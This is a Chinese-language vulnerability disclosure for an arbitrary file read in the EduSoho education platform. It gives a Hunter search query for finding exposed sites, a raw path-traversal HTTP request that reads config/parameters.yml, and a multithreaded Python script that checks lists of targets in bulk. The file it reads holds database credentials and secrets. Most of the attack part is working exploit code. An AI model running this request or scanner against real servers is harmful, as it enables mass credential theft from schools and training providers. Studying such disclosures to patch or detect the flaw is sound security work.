声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
目录
一、漏洞简介
Edusoho是面向个人、学校、培训机构及企业用户的友好、开源、高性价比的在线教育建站系统。该系统存在配置文件读取漏洞,攻击者可以通过构造恶意代码,未授权直接下载或读取parameters.yml配置文件内容,里面包含了数据库账号密码以及secret值等敏感信息。
二、语法
鹰图:
web.title:"EduSoho"
三、漏洞复现
GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host: 127.0.0.1:80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=n8bl9r50ik28p4d2vva66j0pcd
Connection: close
漏洞验证
数据库连接
四、POC批量验证
# *python3*
# -*- coding: utf-8 -*-
# 教培系统EduSoho任意文件读取漏洞
import sys
import getopt
import threading
import requests
import time
def scan(url):
payload = '/export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml'
target_url = url + payload
header = {'Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6','Cookie': 'PHPSESSID=n8bl9r50ik28p4d2vva66j0pcd','Connection': 'close'}
try:
re = requests.get(target_url,headers=header,timeout=5)
if re.status_code == 200 and 'database' in re.text:
with open('./success.txt','a+') as file:
file.write(target_url+'\n')
print('存在教培系统EduSoho任意文件读取漏洞 '+target_url)
else:
print('不存在漏洞 '+target_url)
except:
print('访问出现错误!')
def help():
print("""
-h --help 打开帮助文档
-u --url 对单个ip进行测试
-f --file 对文件中的所有ip进行测试
""")
def main():
opts,args = getopt.getopt(sys.argv[1:],
'hu:f:',
['help','url=','file='])
url_list = []
for o,a in opts:
if o in ['-h','--help']:
help()
elif o in ['-u','--url']:
url = a
url_list.append(url)
elif o in ['-f','--file']:
file = a
try:
f = open(file,'r')
url_list = f.readlines()
f.close()
except:
print('读取文件错误!')
urls = []
for i in url_list:
urls.append(i.rstrip('\n')) #for循环rstrip()去掉换行符重新加入到urls列表中
max_thread = 10
max_num = len(urls)
num = 0
while(True):
if threading.active_count()-1 < max_thread and num < max_num:
t = threading.Thread(target=scan,args=(urls[num],))
t.start()
num+=1
if num >= max_num:
print('没有新的目标了!等待当前线程扫描结束!')
time.sleep(2)
if threading.active_count() -1 == 0:
print('所有目标扫描完成!主程序退出')
break
main()
五、修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.edusoho.com/